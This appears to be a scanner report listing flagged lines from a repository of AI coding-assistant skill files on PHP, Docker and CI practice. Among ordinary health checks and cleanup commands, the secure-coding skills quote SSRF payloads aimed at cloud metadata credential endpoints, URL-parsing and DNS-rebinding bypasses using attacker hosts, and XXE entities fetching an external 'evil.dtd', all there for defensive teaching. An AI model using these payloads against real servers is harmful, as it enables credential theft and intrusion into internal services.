- [OWASP Deserialization](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/15-Testing_for_HTTP_Incoming_Requests) - Network accessline 376
- [PHP Object Injection](https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection)
skills/check-distributed-locks/SKILL.md
- Dangerous shell operationline 155
$this->redis->eval($script, ['lock:' . $key, $this->tokens[$key]], 1);
skills/check-docker-compose-config/SKILL.md
skills/check-docker-healthcheck/SKILL.md
- Network accessline 34
HEALTHCHECK --interval=10s --timeout=3s --start-period=5s --retries=3 \ CMD curl -f http://localhost/health || exit 1 - Network accessline 35
CMD curl -f http://localhost/health || exit 1 - Network accessline 37
# Or wget for minimal images - Network accessline 38
HEALTHCHECK --interval=10s --timeout=3s --start-period=5s --retries=3 CMD wget --spider --quiet http://localhost/health || exit 1 - Network accessline 39
CMD wget --spider --quiet http://localhost/health || exit 1 - Network accessline 108
# BAD: Too frequent (overhead) HEALTHCHECK --interval=1s --timeout=1s --retries=1 CMD curl localhost - Network accessline 109
HEALTHCHECK --interval=1s --timeout=1s --retries=1 CMD curl localhost - Network accessline 114
# BAD: Checking external dependency HEALTHCHECK CMD curl -f https://api.external.com/health - Network accessline 115
HEALTHCHECK CMD curl -f https://api.external.com/health - Network accessline 117
# BAD: Too slow detection (interval*retries > 5min) HEALTHCHECK --interval=60s --timeout=30s --retries=10 CMD curl localhost - Network accessline 118
HEALTHCHECK --interval=60s --timeout=30s --retries=10 CMD curl localhost
skills/check-docker-layer-efficiency/SKILL.md
- Dangerous shell operationline 45
RUN rm -rf /var/lib/apt/lists/* - Dangerous shell operationline 48
RUN apt-get update && apt-get install -y --no-install-recommends libzip-dev && rm -rf /var/lib/apt/lists/* - Dangerous shell operationline 49
libzip-dev && rm -rf /var/lib/apt/lists/* - Dangerous shell operationline 100
RUN apt-get update && apt-get install -y --no-install-recommends libpng-dev libzip-dev libicu-dev && rm -rf /var/lib/apt/lists/* - Dangerous shell operationline 102
&& rm -rf /var/lib/apt/lists/*
skills/check-docker-production-readiness/SKILL.md
- Access to secretsline 87
[Credential-related source omitted]
skills/check-docker-secrets/SKILL.md
- Access to secretsline 3
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Access to secretsline 120
[Credential-related source omitted] - Access to secretsline 126
[Credential-related source omitted]
skills/check-docker-security/SKILL.md
- Access to secretsline 125
[Credential-related source omitted]
skills/check-docker-user-permissions/SKILL.md
- Dangerous shell operationline 17
| chmod 777 | World-writable files | Overly permissive mode | - Dangerous shell operationline 64
### 4. No chmod 777 - Dangerous shell operationline 68
RUN chmod -R 777 /var/www/var - Dangerous shell operationline 154
| chmod 777 on application dirs | High | Any process can modify files |
skills/check-fallback-strategy/SKILL.md
- Network accessline 18
public function getRecommendations(UserId $userId): array { return $this->recommendationApi->fetch($userId); // If API down → 500 error - Network accessline 19
{ return $this->recommendationApi->fetch($userId); // If API down → 500 error } - Network accessline 20
return $this->recommendationApi->fetch($userId); // If API down → 500 error - Network accessline 28
{ try { $recommendations = $this->recommendationApi->fetch($userId); - Network accessline 29
try { $recommendations = $this->recommendationApi->fetch($userId); $this->cache->set("reco:{$userId}", $recommendations, 3600); - Network accessline 30
$recommendations = $this->recommendationApi->fetch($userId); - Network accessline 57
$price = $this->pricingApi->fetch($id); // If API fails, no fallback! - Network accessline 75
try { $price = $this->pricingApi->fetch($id); - Network accessline 76
$price = $this->pricingApi->fetch($id);
skills/check-magic-values/SKILL.md
- Access to secretsline 65
[Credential-related source omitted] - Network accessline 73
// BAD: Hardcoded URLs $apiUrl = 'https://api.example.com/v1'; - Network accessline 74
$apiUrl = 'https://api.example.com/v1'; - Network accessline 75
$webhookUrl = 'https://myapp.com/webhook'; - Network accessline 76
$cdnUrl = 'https://cdn.example.com/assets';
skills/check-nesting-depth/SKILL.md
- Network accessline 132
// DEEP: Nested callbacks $this->service->fetch($id, function($result) { - Network accessline 133
$this->service->fetch($id, function($result) { - Network accessline 143
// FLAT: Sequential or promise-based $result = $this->service->fetch($id); - Network accessline 144
$result = $this->service->fetch($id);
skills/check-output-encoding/SKILL.md
skills/check-path-traversal/SKILL.md
skills/check-scalability-readiness/SKILL.md
skills/check-sensitive-data/SKILL.md
- Access to secretsline 30
[Credential-related source omitted] - Access to secretsline 32
[Credential-related source omitted] - Network accessline 66
// CRITICAL: API key in URL $url = "https://api.example.com?key=$apiKey"; - Network accessline 67
$url = "https://api.example.com?key=$apiKey"; - Access to secretsline 204
[Credential-related source omitted]
skills/check-singleton-antipattern/SKILL.md
- Network accessline 186
$stmt = $this->connection->prepare('SELECT * FROM users WHERE id = ?'); $stmt->execute([$id->value()]); return $this->hydrate($stmt->fetch()); - Network accessline 187
$stmt->execute([$id->value()]); return $this->hydrate($stmt->fetch()); } - Network accessline 188
return $this->hydrate($stmt->fetch());
skills/check-ssrf/SKILL.md
- Network accessline 22
// CRITICAL: User input in cURL $ch = curl_init($_POST['endpoint']); - Network accessline 34
// CRITICAL: AWS metadata endpoint $url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'; - Network accessline 35
$url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'; - Network accessline 38
// CRITICAL: GCP metadata $url = 'http://metadata.google.internal/computeMetadata/v1/'; - Network accessline 39
$url = 'http://metadata.google.internal/computeMetadata/v1/'; - Network accessline 41
// CRITICAL: Azure metadata $url = 'http://169.254.169.254/metadata/instance'; - Network accessline 42
$url = 'http://169.254.169.254/metadata/instance'; - Network accessline 51
// CRITICAL: Access to internal services $response = file_get_contents("http://internal-api:8080/admin"); - Network accessline 52
$response = file_get_contents("http://internal-api:8080/admin"); - Network accessline 54
// CRITICAL: Localhost bypass $url = $_GET['url']; // User inputs: http://localhost/admin, http://127.0.0.1/admin - Network accessline 55
$url = $_GET['url']; // User inputs: http://localhost/admin, http://127.0.0.1/admin // Or: http://0.0.0.0/, http://[::1]/, http://127.1/ - Network accessline 56
// User inputs: http://localhost/admin, http://127.0.0.1/admin - Network accessline 57
// Or: http://0.0.0.0/, http://[::1]/, http://127.1/ - Network accessline 59
// CRITICAL: Private IP ranges // 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 $url = 'http://10.0.0.1/internal-service'; - Network accessline 61
$url = 'http://10.0.0.1/internal-service'; - Network accessline 67
// CRITICAL: Protocol confusion $url = 'http://evil.com@internal-server/'; - Network accessline 68
$url = 'http://evil.com@internal-server/'; - Network accessline 69
$url = 'http://internal-server#@evil.com/'; - Network accessline 70
$url = 'http://internal-server\@evil.com/'; - Network accessline 72
// CRITICAL: URL encoding bypass $url = 'http://127.0.0.1%00.evil.com/'; - Network accessline 73
$url = 'http://127.0.0.1%00.evil.com/'; - Network accessline 74
$url = 'http://127。0。0。1/'; // Unicode dots - Network accessline 76
// CRITICAL: DNS rebinding - domain resolves to internal IP $url = 'http://rebind.attacker.com/'; // First resolves to public, then to 127.0.0.1 - Network accessline 77
$url = 'http://rebind.attacker.com/'; // First resolves to public, then to 127.0.0.1 - Network accessline 79
// CRITICAL: Redirect chains $url = 'http://allowed.com/redirect?to=http://internal/'; - Network accessline 80
$url = 'http://allowed.com/redirect?to=http://internal/'; - Network accessline 133
// CRITICAL: SVG with external references // User uploads SVG containing: // <image xlink:href="http://internal/secret" /> - Network accessline 134
// User uploads SVG containing: // <image xlink:href="http://internal/secret" /> // <use xlink:href="http://internal/api" /> - Network accessline 135
// <image xlink:href="http://internal/secret" /> - Network accessline 136
// <use xlink:href="http://internal/api" /> - Network accessline 187
final class SafeUrlFetcher { public function fetch(string $url): string - Network accessline 188
{ public function fetch(string $url): string { - Network accessline 189
public function fetch(string $url): string - Network accessline 284
**Attack Vector:** 1. Attacker provides URL: `http://169.254.169.254/latest/meta-data/` - Network accessline 285
1. Attacker provides URL: `http://169.254.169.254/latest/meta-data/` - Network accessline 304
**References:** - [OWASP SSRF Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html) - Network accessline 305
- [OWASP SSRF Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)
skills/check-timeout-strategy/SKILL.md
- Network accessline 15
// CRITICAL: No timeout configured $client = new GuzzleHttp\Client(); $response = $client->get('https://api.external.com/data'); - Network accessline 17
$response = $client->get('https://api.external.com/data'); - Network accessline 89
// CRITICAL: file_get_contents without timeout $data = file_get_contents('https://api.example.com/data'); - Network accessline 90
$data = file_get_contents('https://api.example.com/data'); - Network accessline 92
// CRITICAL: curl without CURLOPT_TIMEOUT - Network accessline 93
$ch = curl_init('https://api.example.com/data'); - Network accessline 98
'http' => ['timeout' => 10], ]); $data = file_get_contents('https://api.example.com/data', false, $context); - Network accessline 100
$data = file_get_contents('https://api.example.com/data', false, $context); - Network accessline 102
// CORRECT: curl with timeout - Network accessline 138
# file_get_contents / curl Grep: "file_get_contents\(.*http|curl_init" --glob "**/*.php"
skills/check-type-juggling/SKILL.md
- Network accessline 10
**PHP version baseline: 8.4.** PHP 8.0 changed number-to-string comparison ([Saner string to number comparisons](https://wiki.php.net/rfc/string_to_number_comparison)): - Network accessline 11
([Saner string to number comparisons](https://wiki.php.net/rfc/string_to_number_comparison)):
skills/check-version-consistency/SKILL.md
skills/check-xxe/SKILL.md
- Network accessline 150
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal-server/secret"> - Network accessline 151
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal-server/secret"> ]> - Network accessline 152
<!ENTITY xxe SYSTEM "http://internal-server/secret"> - Network accessline 157
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> - Network accessline 158
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; - Network accessline 159
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> - Network accessline 384
**References:** - [OWASP XXE Prevention](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html) - Network accessline 385
- [OWASP XXE Prevention](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)
skills/ci-pipeline-knowledge/SKILL.md
- Network accessline 250
environment: name: production url: https://example.com - Network accessline 251
name: production url: https://example.com steps: - Network accessline 252
url: https://example.com - Network accessline 265
environment: name: production url: https://example.com - Network accessline 266
name: production url: https://example.com rules: - Network accessline 267
url: https://example.com
skills/ci-pipeline-knowledge/references/github-actions.md
- Network accessline 237
environment: name: production url: https://example.com - Network accessline 238
name: production url: https://example.com steps: - Network accessline 239
url: https://example.com - Network accessline 482
environment: name: production url: https://example.com - Network accessline 483
name: production url: https://example.com steps: - Network accessline 484
url: https://example.com
skills/ci-pipeline-knowledge/references/gitlab-ci.md
- Network accessline 59
- apt-get update -qq && apt-get install -yqq git unzip libicu-dev libzip-dev - docker-php-ext-install intl pdo_mysql zip opcache - curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer - Network accessline 61
- curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer - Dangerous shell operationline 84
RUN apt-get update && apt-get install -y git unzip libicu-dev libzip-dev libpq-dev && docker-php-ext-install intl pdo_mysql pdo_pgsql zip opcache && pecl install redis amqp xdebug && docker-php-ext-enable redis amqp - Network accessline 84
RUN apt-get update && apt-get install -y git unzip libicu-dev libzip-dev libpq-dev && docker-php-ext-install intl pdo_mysql pdo_pgsql zip opcache && pecl install redis amqp xdebug && docker-php-ext-enable redis amqp - Network accessline 87
&& pecl install redis amqp xdebug \ && docker-php-ext-enable redis amqp \ && curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer \ - Network accessline 88
&& docker-php-ext-enable redis amqp \ && curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer \ && apt-get clean && rm -rf /var/lib/apt/lists/* - Network accessline 89
&& curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer \ - Dangerous shell operationline 90
&& apt-get clean && rm -rf /var/lib/apt/lists/* - Network accessline 252
environment: name: staging url: https://staging.example.com - Network accessline 253
name: staging url: https://staging.example.com on_stop: stop:staging - Network accessline 254
url: https://staging.example.com - Network accessline 256
before_script: - apk add --no-cache curl script: - Network accessline 257
- apk add --no-cache curl script: - echo "Deploying $CI_COMMIT_SHA to staging" - Network accessline 268
environment: name: production url: https://example.com - Network accessline 269
name: production url: https://example.com script: - Network accessline 270
url: https://example.com - Network accessline 576
environment: name: staging url: https://staging.example.com - Network accessline 577
name: staging url: https://staging.example.com script: - Network accessline 578
url: https://staging.example.com - Network accessline 587
environment: name: production url: https://example.com - Network accessline 588
name: production url: https://example.com script: - Network accessline 589
url: https://example.com
skills/ci-tools-knowledge/SKILL.md
- Network accessline 111
findUnusedBaselineEntry="true" findUnusedCode="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 112
findUnusedCode="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://getpsalm.org/schema/config" - Network accessline 113
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 114
xmlns="https://getpsalm.org/schema/config" - Network accessline 115
xsi:schemaLocation="https://getpsalm.org/schema/config vendor/vimeo/psalm/config.xsd"
skills/ci-tools-knowledge/references/psalm-plugins.md
- Network accessline 66
allowStringToStandInForClass="true" phpVersion="8.4" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 67
phpVersion="8.4" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://getpsalm.org/schema/config" - Network accessline 68
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 69
xmlns="https://getpsalm.org/schema/config" - Network accessline 70
xsi:schemaLocation="https://getpsalm.org/schema/config vendor/vimeo/psalm/config.xsd" - Network accessline 123
resolveFromConfigFile="true" phpVersion="8.4" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 124
phpVersion="8.4" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://getpsalm.org/schema/config" - Network accessline 125
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 126
xmlns="https://getpsalm.org/schema/config" - Network accessline 127
xsi:schemaLocation="https://getpsalm.org/schema/config vendor/vimeo/psalm/config.xsd"
skills/claude-code-knowledge/SKILL.md
- Network accessline 256
"version": "1.0.0", "author": "Name", "repository": "https://github.com/user/repo" - Network accessline 257
"author": "Name", "repository": "https://github.com/user/repo" } - Network accessline 258
"repository": "https://github.com/user/repo" - Dangerous shell operationline 297
"deny": ["Bash(rm *)"], - Access to secretsline 330
[Credential-related source omitted]
skills/claude-code-knowledge/references/plugins-reference.md
- Network accessline 34
"version": "2.0.0", "author": "Your Name", "homepage": "https://github.com/user/awesome-php-tools", - Network accessline 35
"author": "Your Name", "homepage": "https://github.com/user/awesome-php-tools", "repository": "https://github.com/user/awesome-php-tools", - Network accessline 36
"homepage": "https://github.com/user/awesome-php-tools", - Network accessline 37
"repository": "https://github.com/user/awesome-php-tools", - Network accessline 165
"my-plugin": { "source": "git", "url": "https://git.example.com/plugins/my-plugin.git" - Network accessline 166
"source": "git", "url": "https://git.example.com/plugins/my-plugin.git" } - Network accessline 167
"url": "https://git.example.com/plugins/my-plugin.git"
skills/claude-code-knowledge/references/settings-and-permissions.md
skills/cloud-native-knowledge/SKILL.md
skills/cloud-native-knowledge/references/twelve-factors.md
skills/code-examples-template/SKILL.md
skills/codeigniter-knowledge/references/antipatterns.md
- Network accessline 451
// External API call with no resilience $client = service('curlrequest'); $client->post('https://payment.example.com/charge', [ - Network accessline 452
$client = service('curlrequest'); $client->post('https://payment.example.com/charge', [ 'json' => $data, - Network accessline 453
$client->post('https://payment.example.com/charge', [
skills/codeigniter-knowledge/references/architecture.md
skills/codeigniter-knowledge/references/infrastructure-components.md
- Network accessline 155
// GET request $response = $client->get('https://api.example.com/orders', [ - Network accessline 156
$response = $client->get('https://api.example.com/orders', [ - Network accessline 164
// POST with JSON $response = $client->post('https://api.example.com/orders', [ - Network accessline 165
$response = $client->post('https://api.example.com/orders', [ - Network accessline 170
// With base URI $client = service('curlrequest', [ 'baseURI' => 'https://api.example.com/v1/', - Network accessline 171
$client = service('curlrequest', [ 'baseURI' => 'https://api.example.com/v1/', 'timeout' => 10, - Network accessline 172
'baseURI' => 'https://api.example.com/v1/', - Network accessline 212
public function execute(string $orderId, int $amount): void { $this->client->post('https://payment.example.com/charge', [ - Network accessline 213
{ $this->client->post('https://payment.example.com/charge', [ 'json' => ['orderId' => $orderId, 'amount' => $amount], - Network accessline 214
$this->client->post('https://payment.example.com/charge', [
skills/consistency-patterns-knowledge/SKILL.md
skills/consistency-patterns-knowledge/references/locking-patterns.md
skills/create-bulkhead/references/templates.md
- Dangerous shell operationline 389
$result = $this->redis->eval(
skills/create-dead-letter-queue/references/templates.md
- Network accessline 604
$row = $stmt->fetch(\PDO::FETCH_ASSOC);
skills/create-deploy-strategy/SKILL.md
- Network accessline 57
id: env run: | ACTIVE=$(curl -s https://api.example.com/active-env) - Network accessline 58
run: | ACTIVE=$(curl -s https://api.example.com/active-env) if [ "$ACTIVE" = "blue" ]; then - Network accessline 59
ACTIVE=$(curl -s https://api.example.com/active-env) - Network accessline 60
if [ "$ACTIVE" = "blue" ]; then echo "target=green" >> $GITHUB_OUTPUT echo "url=https://green.example.com" >> $GITHUB_OUTPUT - Network accessline 61
echo "target=green" >> $GITHUB_OUTPUT echo "url=https://green.example.com" >> $GITHUB_OUTPUT else - Network accessline 62
echo "url=https://green.example.com" >> $GITHUB_OUTPUT - Network accessline 63
else echo "target=blue" >> $GITHUB_OUTPUT echo "url=https://blue.example.com" >> $GITHUB_OUTPUT - Network accessline 64
echo "target=blue" >> $GITHUB_OUTPUT echo "url=https://blue.example.com" >> $GITHUB_OUTPUT fi - Network accessline 65
echo "url=https://blue.example.com" >> $GITHUB_OUTPUT - Network accessline 82
run: | for i in {1..30}; do if curl -sf "${{ steps.env.outputs.url }}/health"; then - Network accessline 83
for i in {1..30}; do if curl -sf "${{ steps.env.outputs.url }}/health"; then echo "Health check passed" - Network accessline 84
if curl -sf "${{ steps.env.outputs.url }}/health"; then - Network accessline 98
if: success() run: | curl -X POST https://api.example.com/switch-traffic \ - Network accessline 99
[Credential-related source omitted] - Network accessline 100
curl -X POST https://api.example.com/switch-traffic \ - Network accessline 106
run: | echo "Deployment failed, keeping traffic on current environment" curl -X POST https://api.example.com/rollback \ - Network accessline 107
[Credential-related source omitted] - Network accessline 108
curl -X POST https://api.example.com/rollback \
skills/create-deploy-strategy/references/templates.md
- Network accessline 27
image: alpine:latest before_script: - apk add --no-cache curl openssh-client - Network accessline 28
before_script: - apk add --no-cache curl openssh-client script: - Network accessline 29
- apk add --no-cache curl openssh-client - Network accessline 36
- | for i in $(seq 1 30); do curl -sf "https://$TARGET_ENV.example.com/health" && exit 0 - Network accessline 37
for i in $(seq 1 30); do curl -sf "https://$TARGET_ENV.example.com/health" && exit 0 sleep 10 - Network accessline 38
curl -sf "https://$TARGET_ENV.example.com/health" && exit 0 - Network accessline 60
script: - | curl -X POST https://api.example.com/switch-traffic \ - Network accessline 61
[Credential-related source omitted] - Network accessline 62
curl -X POST https://api.example.com/switch-traffic \ - Access to secretsline 63
[Credential-related source omitted] - Network accessline 71
script: - | curl -X POST https://api.example.com/rollback \ - Network accessline 72
[Credential-related source omitted] - Network accessline 73
curl -X POST https://api.example.com/rollback \ - Access to secretsline 74
[Credential-related source omitted] - Network accessline 121
END=$(($(date +%s) + 600)) while [ $(date +%s) -lt $END ]; do ERROR_RATE=$(curl -s "http://prometheus:9090/api/v1/query?query=rate(http_requests_total{status=~'5..'}[1m])" | jq '.data.result[0].value[1]') - Network accessline 122
while [ $(date +%s) -lt $END ]; do ERROR_RATE=$(curl -s "http://prometheus:9090/api/v1/query?query=rate(http_requests_total{status=~'5..'}[1m])" | jq '.data.result[0].value[1]') if (( $(echo "$ERROR_RATE > 0.01" | bc - Network accessline 123
ERROR_RATE=$(curl -s "http://prometheus:9090/api/v1/query?query=rate(http_requests_total{status=~'5..'}[1m])" | jq '.data.result[0].value[1]') - Network accessline 209
- sleep 600 - | ERROR_RATE=$(curl -s "$PROMETHEUS_URL/api/v1/query?query=rate(http_requests_total{status=~'5..'}[5m])" | jq -r '.data.result[0].value[1]') - Network accessline 210
- | ERROR_RATE=$(curl -s "$PROMETHEUS_URL/api/v1/query?query=rate(http_requests_total{status=~'5..'}[5m])" | jq -r '.data.result[0].value[1]') if (( $(echo "$ERROR_RATE > 0.01" | bc -l) )); then - Network accessline 211
ERROR_RATE=$(curl -s "$PROMETHEUS_URL/api/v1/query?query=rate(http_requests_total{status=~'5..'}[5m])" | jq -r '.data.result[0].value[1]') - Network accessline 320
max_attempts: 3 healthcheck: test: ["CMD", "curl", "-f", "http://localhost:8080/health"] - Network accessline 321
healthcheck: test: ["CMD", "curl", "-f", "http://localhost:8080/health"] interval: 30s - Network accessline 322
test: ["CMD", "curl", "-f", "http://localhost:8080/health"]
skills/create-di-container/references/templates.md
- Access to secretsline 92
[Credential-related source omitted]
skills/create-distributed-lock/references/templates.md
skills/create-docker-compose-dev/references/service-templates.md
- Network accessline 116
- es-data:/usr/share/elasticsearch/data healthcheck: test: ["CMD-SHELL", "curl -fsSL http://localhost:9200/_cluster/health | grep -q '\"status\":\"green\\|yellow\"'"] - Network accessline 117
healthcheck: test: ["CMD-SHELL", "curl -fsSL http://localhost:9200/_cluster/health | grep -q '\"status\":\"green\\|yellow\"'"] interval: 10s - Network accessline 118
test: ["CMD-SHELL", "curl -fsSL http://localhost:9200/_cluster/health | grep -q '\"status\":\"green\\|yellow\"'"] - Network accessline 138
condition: service_healthy healthcheck: test: ["CMD", "wget", "-qO-", "http://localhost/ping"] - Network accessline 139
healthcheck: test: ["CMD", "wget", "-qO-", "http://localhost/ping"] interval: 10s - Network accessline 140
test: ["CMD", "wget", "-qO-", "http://localhost/ping"] - Network accessline 155
- "${MAILHOG_UI:-8025}:8025" healthcheck: test: ["CMD", "wget", "-qO-", "http://localhost:8025"] - Network accessline 156
healthcheck: test: ["CMD", "wget", "-qO-", "http://localhost:8025"] interval: 10s - Network accessline 157
test: ["CMD", "wget", "-qO-", "http://localhost:8025"]
skills/create-docker-entrypoint/SKILL.md
skills/create-docker-entrypoint/references/entrypoint-patterns.md
- Network accessline 146
local attempt=0 while [ $attempt -lt $max_attempts ]; do if curl -sf http://localhost/health > /dev/null 2>&1; then - Network accessline 147
while [ $attempt -lt $max_attempts ]; do if curl -sf http://localhost/health > /dev/null 2>&1; then echo "[entrypoint] Application is ready" - Network accessline 148
if curl -sf http://localhost/health > /dev/null 2>&1; then
skills/create-docker-env-template/SKILL.md
- Access to secretsline 22
[Credential-related source omitted] - Access to secretsline 23
[Credential-related source omitted] - Network accessline 38
# Application base URL APP_URL=http://localhost - Network accessline 39
APP_URL=http://localhost - Access to secretsline 240
[Credential-related source omitted] - Network accessline 244
[Credential-related source omitted] - Network accessline 245
[Credential-related source omitted] - Network accessline 246
APP_URL=http://localhost - Access to secretsline 275
[Credential-related source omitted] - Access to secretsline 303
[Credential-related source omitted]
skills/create-docker-healthcheck/SKILL.md
- Network accessline 68
HEALTH_URL="${HEALTH_URL:-http://localhost:80/health}" - Network accessline 72
RESPONSE_CODE=$(curl -s -o /dev/null -w "%{http_code}" \ - Network accessline 94
FCGI_CONNECT="${FCGI_CONNECT:-localhost:9000}" HEALTH_URL="${HEALTH_URL:-http://localhost:80/health}" - Network accessline 95
HEALTH_URL="${HEALTH_URL:-http://localhost:80/health}" - Network accessline 114
# Check 3: Application health endpoint HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \ - Network accessline 115
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \ - Network accessline 134
# HTTP endpoint health check HEALTHCHECK --interval=30s --timeout=5s --start-period=15s --retries=3 \ CMD curl -f http://localhost:80/health || exit 1 - Network accessline 135
HEALTHCHECK --interval=30s --timeout=5s --start-period=15s --retries=3 CMD curl -f http://localhost:80/health || exit 1 - Network accessline 136
CMD curl -f http://localhost:80/health || exit 1
skills/create-docker-nginx-config/SKILL.md
skills/create-docker-nginx-config/references/nginx-snippets.md
- Network accessline 35
listen [::]:80; server_name _; return 301 https://$host$request_uri; - Network accessline 36
server_name _; return 301 https://$host$request_uri; } - Network accessline 37
return 301 https://$host$request_uri; - Network accessline 92
location /ws { proxy_pass http://websocket_backend; - Network accessline 93
proxy_pass http://websocket_backend;
skills/create-docker-php-config/SKILL.md
skills/create-docker-supervisor-config/SKILL.md
- Dangerous shell operationline 206
# RUN apt-get update && apt-get install -y supervisor && rm -rf /var/lib/apt/lists/*
skills/create-dockerfile-dev/SKILL.md
skills/create-dockerfile-production/SKILL.md
- Network accessline 125
LABEL maintainer="team@example.com" LABEL org.opencontainers.image.source="https://github.com/org/repo" - Network accessline 126
LABEL org.opencontainers.image.source="https://github.com/org/repo" - Dangerous shell operationline 129
RUN apk add --no-cache libzip icu-libs libpq libpng libjpeg-turbo freetype libwebp libxml2 oniguruma rabbitmq-c fcgi && rm -rf /var/cache/apk/* - Dangerous shell operationline 141
&& rm -rf /var/cache/apk/*
skills/create-dockerfile-production/references/laravel-dockerfile.md
skills/create-dockerfile-production/references/symfony-dockerfile.md
- Dangerous shell operationline 56
RUN apk add --no-cache libzip icu-libs libpq libpng libjpeg-turbo freetype libwebp libxml2 oniguruma rabbitmq-c fcgi && rm -rf /var/cache/apk/* - Dangerous shell operationline 59
&& rm -rf /var/cache/apk/* - Access to secretsline 101
[Credential-related source omitted] - Dangerous shell operationline 113
RUN rm -rf \
skills/create-dockerignore/SKILL.md
- Access to secretsline 96
[Credential-related source omitted]
skills/create-facade/references/examples.md
skills/create-facade/references/templates.md
skills/create-feature-flags/references/templates.md
- Network accessline 354
script: - | curl -X PATCH "https://api.example.com/features/$FEATURE_NAME" \ - Network accessline 355
[Credential-related source omitted] - Network accessline 356
curl -X PATCH "https://api.example.com/features/$FEATURE_NAME" \ - Access to secretsline 357
[Credential-related source omitted]
skills/create-github-actions/references/examples.md
- Network accessline 147
environment: name: staging url: https://staging.example.com - Network accessline 148
name: staging url: https://staging.example.com steps: - Network accessline 149
url: https://staging.example.com - Network accessline 157
environment: name: production url: https://example.com - Network accessline 158
name: production url: https://example.com steps: - Network accessline 159
url: https://example.com
skills/create-github-actions/references/templates.md
- Network accessline 375
environment: name: staging url: https://staging.example.com - Network accessline 376
name: staging url: https://staging.example.com if: github.event_name == 'push' || github.event.inputs.environment == 'staging' - Network accessline 377
url: https://staging.example.com - Network accessline 389
- name: Health check run: | curl --fail https://staging.example.com/health || exit 1 - Network accessline 391
curl --fail https://staging.example.com/health || exit 1 - Network accessline 397
environment: name: production url: https://example.com - Network accessline 398
name: production url: https://example.com if: startsWith(github.ref, 'refs/tags/v') || github.event.inputs.environment == 'production' - Network accessline 399
url: https://example.com - Network accessline 411
- name: Health check run: | curl --fail https://example.com/health || exit 1 - Network accessline 413
curl --fail https://example.com/health || exit 1
skills/create-gitlab-ci/references/templates.md
- Network accessline 55
- apt-get update && apt-get install -y git unzip libzip-dev - docker-php-ext-install zip pdo pdo_mysql - curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer - Network accessline 56
- docker-php-ext-install zip pdo pdo_mysql - curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer cache: - Network accessline 57
- curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer - Network accessline 301
environment: name: staging url: https://staging.example.com - Network accessline 302
name: staging url: https://staging.example.com on_stop: stop:staging - Network accessline 303
url: https://staging.example.com - Network accessline 304
on_stop: stop:staging before_script: - apk add --no-cache curl openssh-client - Network accessline 305
before_script: - apk add --no-cache curl openssh-client script: - Network accessline 306
- apk add --no-cache curl openssh-client - Network accessline 312
docker-compose -f docker-compose.staging.yml up -d EOF - curl --fail https://staging.example.com/health - Network accessline 313
EOF - curl --fail https://staging.example.com/health rules: - Network accessline 314
- curl --fail https://staging.example.com/health - Network accessline 335
environment: name: production url: https://example.com - Network accessline 336
name: production url: https://example.com before_script: - Network accessline 337
url: https://example.com before_script: - apk add --no-cache curl openssh-client - Network accessline 338
before_script: - apk add --no-cache curl openssh-client script: - Network accessline 339
- apk add --no-cache curl openssh-client - Network accessline 345
docker-compose -f docker-compose.prod.yml up -d EOF - curl --fail https://example.com/health - Network accessline 346
EOF - curl --fail https://example.com/health rules: - Network accessline 347
- curl --fail https://example.com/health
skills/create-idempotent-consumer/references/templates.md
- Dangerous shell operationline 697
$this->pdo->exec(<<<SQL
skills/create-message-broker-adapter/references/examples.md
- Access to secretsline 261
[Credential-related source omitted] - Network accessline 280
[Credential-related source omitted] - Network accessline 281
[Credential-related source omitted] - Network accessline 282
AWS_SQS_QUEUE_URL=https://sqs.us-east-1.amazonaws.com/123456789/my-queue - Access to secretsline 308
[Credential-related source omitted] - Access to secretsline 309
[Credential-related source omitted]
skills/create-object-pool/references/examples.md
- Network accessline 205
private readonly array $defaultHeaders ) { $this->curl = curl_init(); - Network accessline 206
) { $this->curl = curl_init(); $this->configure(); - Network accessline 207
$this->curl = curl_init(); - Network accessline 228
public function isValid(): bool { return is_resource($this->curl) || $this->curl instanceof \CurlHandle; - Network accessline 229
